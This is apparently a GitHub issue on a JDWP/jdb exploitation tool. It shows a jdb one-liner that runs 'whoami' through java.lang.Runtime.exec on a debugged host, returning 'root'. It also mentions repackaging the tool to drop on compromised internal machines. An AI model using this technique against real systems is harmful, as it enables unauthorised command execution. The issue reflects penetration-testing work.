-
Notifications
You must be signed in to change notification settings - Fork 289
Open
Labels
Description
Hello @hugsy,
I wondered whether it would even be possible to grab the command output, as going blind is sometimes tricky.
I don't know if it is possible as a loop has to be defined to grab the buffer stream...
This kind of stuff works (but for 1 line only), maybe you'll figure out how grab an output:
In a jdb session:
$ print new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine()
...
new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine() = "root"
By the way, I took the liberty to bundle your original script for Windows in order to easily drop it on internal compromised machines: I obviously put a link to your repo, tell me if anything bothers.
Cheers.